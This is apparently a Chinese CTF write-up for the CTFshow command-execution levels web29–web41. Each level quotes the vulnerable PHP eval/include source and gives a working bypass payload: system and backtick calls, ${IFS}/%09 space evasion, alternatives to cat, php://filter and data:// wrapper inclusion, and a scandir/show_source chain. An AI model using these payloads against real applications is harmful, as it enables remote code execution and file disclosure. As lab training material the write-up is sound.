CTFSHOW-WEB入门-命令执行


web29

①考点:通配符绕过

②关键源代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        eval($c);
    }
}

③由于绕过了flag,直接/?c=system('cat f*');再查看源码,flag就出来了

web30

①这题增加了对命令执行函数的过滤

②关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c))
    {
        eval($c);
    }
}

③常见的命令执行函数有

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

只有system函数是有回显的,其他函数可以通过echo来显示

④构造payload:

/?c=echo`cat f*`;

web31

①过滤了这些关键字以及空格,单引号和句号

②关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
    {
        eval($c);
    }
}

③空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

④cat绕过

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

⑤解法一:payload如下

/?c=echo(`tac%09f*`);

解法二:payload如下

/?c=eval($_GET[a]);&a=system('cat flag.php');

解法二:hint:

show_source(next(array_reverse(scandir(pos(localeconv()))))

具体各个函数的用法写得很详细

web32

①考点:文件包含以及伪协议读取

②关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
    {
        eval($c);
    }
}

这次又过滤了分号,反引号,echo,左括号

③直接用include进行无括号的文件包含,分号用?>替代,payload如下:

/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

 ①关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
    {
        eval($c);
    }
}

 ②和上题解法一样

/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

①关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
    {
        eval($c);
    }
}

②只是又过滤了一个冒号,对解题没有任何影响,payload同上

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
    {
        eval($c);
    }
}

②又多过滤了一个左尖括号,同样没什么影响,payload同上

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
    {
        eval($c);
    }
}

②就是多过滤了个数字,payload还是不变

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        include($c);
        echo $flag;
    }
}

②用data伪协议

data伪协议:将后面的字符当做PHP代码执行

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

③payload:

/?c=data://text/plain,<?php system("cat f*")?>

web38

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c))
    {
        include($c);
        echo $flag;
    }
}

②与上题相比,多过滤了一个php,用base64编码绕过即可

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==

③注意一下细节就是,这个data语句要用分号结尾不能用逗号,不然就回显逗号后面的内容

web39

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        include($c.".php");
    }
}

②题目提示:

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

③payload如下:

/?c=data://text/plain,<?php system("cat *");?>

web40

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c))
    {
        eval($c);
    }
}

②过滤了好多符号,不过那个括号应该是中文括号,同web31,进行,payload如下:

/?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

①关键代码

if(isset($_POST['c']))
{
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c))
    {
        eval("echo($c);");
    }
}

相关